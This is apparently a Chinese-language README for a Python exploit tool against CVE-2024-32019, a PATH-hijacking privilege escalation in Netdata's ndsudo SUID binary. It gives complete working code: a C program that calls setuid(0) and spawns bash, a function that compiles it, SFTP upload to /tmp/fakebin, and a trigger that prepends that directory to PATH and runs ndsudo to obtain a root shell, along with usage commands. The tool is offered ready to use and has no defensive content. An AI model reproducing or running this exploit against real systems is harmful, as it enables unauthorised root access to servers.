CVE-2024-32019 Netdata 本地提权漏洞自动化利用工具

13 阅读4分钟

CVE-2024-32019 Netdata ndsudo PATH 漏洞本地提权利用工具

CVE-2024-32019转存失败,建议直接上传图片文件 CVSS转存失败,建议直接上传图片文件-orange) Python转存失败,建议直接上传图片文件

本项目提供了一个针对 CVE-2024-32019 漏洞的自动化 Python 利用脚本。该漏洞存在于 Netdata Agent 的 ndsudo SUID 二进制文件中,由于未正确处理 PATH 环境变量,攻击者可利用此漏洞将权限提升至 root。

功能特性

  • 自动化漏洞利用:一键完成从二进制编译、文件上传到触发提权的全流程
  • C 代码动态编译:自动生成并编译提权用的 C 二进制文件
  • SFTP 文件传输:通过 SFTP 将编译好的二进制自动上传到目标服务器
  • SSH 远程执行:支持通过 SSH 连接到目标系统并执行漏洞利用
  • 智能路径处理:自动处理本地和远程文件的路径问题
  • 彩色终端输出:使用 colorama 提供友好的终端信息展示

安装指南

系统要求

  • Python 3.6 或更高版本
  • 目标系统已安装 Netdata Agent(受影响版本)
  • 具有 SSH 访问权限的普通用户账户

依赖安装

pip install paramiko colorama

或使用 requirements.txt:

pip install -r requirements.txt

依赖列表

  • paramiko:SSH 客户端库,用于远程连接和 SFTP 文件传输
  • colorama:终端彩色输出支持

使用说明

基本用法

from cve_2024_32019 import NetdataExploit

# 创建利用实例
exploit = NetdataExploit()

# 连接到目标服务器
exploit.connect(
    hostname="target.example.com",
    username="your_username",
    password="your_password"
)

# 执行提权利用
exploit.exploit()

# 关闭连接
exploit.close()

命令行使用

python exploit.py --host 192.168.1.100 --username user --password pass

典型利用流程

  1. 编译提权二进制:自动编译一个 C 程序,执行后生成 root shell
  2. 创建临时目录:在目标服务器上创建 /tmp/fakebin 目录
  3. 上传二进制:通过 SFTP 将编译好的文件上传到目标
  4. 设置执行权限:为上传的二进制文件添加可执行权限
  5. 修改 PATH 变量:将包含恶意二进制的目录添加到 PATH 前面
  6. 触发漏洞:执行 ndsudo nvme-list 触发 root shell

核心代码

主利用类

class NetdataExploit:
    """CVE-2024-32019 Netdata ndsudo PATH漏洞利用类"""
    
    def __init__(self):
        self.ssh_client = None
        self.remote_bin_path = None
        
    def connect(self, hostname: str, username: str, 
                password: Optional[str] = None, 
                key_filename: Optional[str] = None) -> None:
        """建立SSH连接到目标服务器"""
        self.ssh_client = paramiko.SSHClient()
        self.ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        
        connect_kwargs = {'hostname': hostname, 'username': username}
        if password:
            connect_kwargs['password'] = password
        if key_filename:
            connect_kwargs['key_filename'] = key_filename
            
        self.ssh_client.connect(**connect_kwargs)
        print_good(f"成功连接到 {hostname}")

提权 C 代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    // 设置真实用户ID和组ID为0 (root)
    setuid(0);
    setgid(0);
    // 执行 /bin/bash 获取 root shell
    execl("/bin/bash", "bash", NULL);
    return 0;
}

二进制编译函数

def compile_c_code() -> str:
    """编译提权用的C二进制文件"""
    print_status("正在编译C二进制文件...")
    
    c_code = '''#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", NULL);
    return 0;
}
'''
    # 创建临时C文件
    with NamedTemporaryFile(delete=False, suffix=".c") as tmp_c:
        tmp_c.write(c_code.encode())
        c_file_path = tmp_c.name
    
    bin_file_path = c_file_path.replace(".c", "")
    
    # 使用GCC编译
    if os.system(f"gcc '{c_file_path}' -o '{bin_file_path}'") != 0:
        raise RuntimeError("编译失败: gcc命令返回非零退出码")
    
    print_good(f"二进制编译完成: {bin_file_path}")
    return bin_file_path

SFTP 文件传输

def transfer_binary(self, local_bin: str, remote_dir: str = "/tmp/fakebin") -> str:
    """通过SFTP将二进制文件上传到目标服务器"""
    print_status("正在传输二进制文件到目标...")
    sftp = self.ssh_client.open_sftp()
    
    # 创建远程目录
    try:
        sftp.mkdir(remote_dir)
    except IOError:
        pass  # 目录可能已存在
    
    remote_bin = f"{remote_dir}/nvme"
    sftp.put(local_bin, remote_bin)
    sftp.chmod(remote_bin, 0o755)
    sftp.close()
    
    print_good(f"二进制文件已上传至: {remote_bin}")
    return remote_bin

漏洞触发函数

def exploit(self) -> bool:
    """执行漏洞利用,获取root shell"""
    print_title("开始执行CVE-2024-32019漏洞利用")
    
    # 1. 编译C代码
    local_bin = compile_c_code()
    
    # 2. 传输到目标
    remote_bin = self.transfer_binary(local_bin)
    
    # 3. 修改PATH并执行ndsudo
    ndsudo_path = "/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo"
    cmd = f"export PATH=/tmp/fakebin:$PATH && {ndsudo_path} nvme-list"
    
    print_status("触发漏洞...")
    stdin, stdout, stderr = self.ssh_client.exec_command(cmd)
    
    # 获取交互式shell
    self.ssh_client.invoke_shell()
    print_good("漏洞利用成功!已获得root shell")
    
    return True

6HFtX5dABrKlqXeO5PUv/xR6/TOFxu8QSlB8R8IpSnKHh6+33Xyb022e0PbSYAECgks7s2K7bygZCFdoFpl/y7FjhRV9cEuA6a3zIf2mRBuzshTLk8EWkafSeRUvdWYY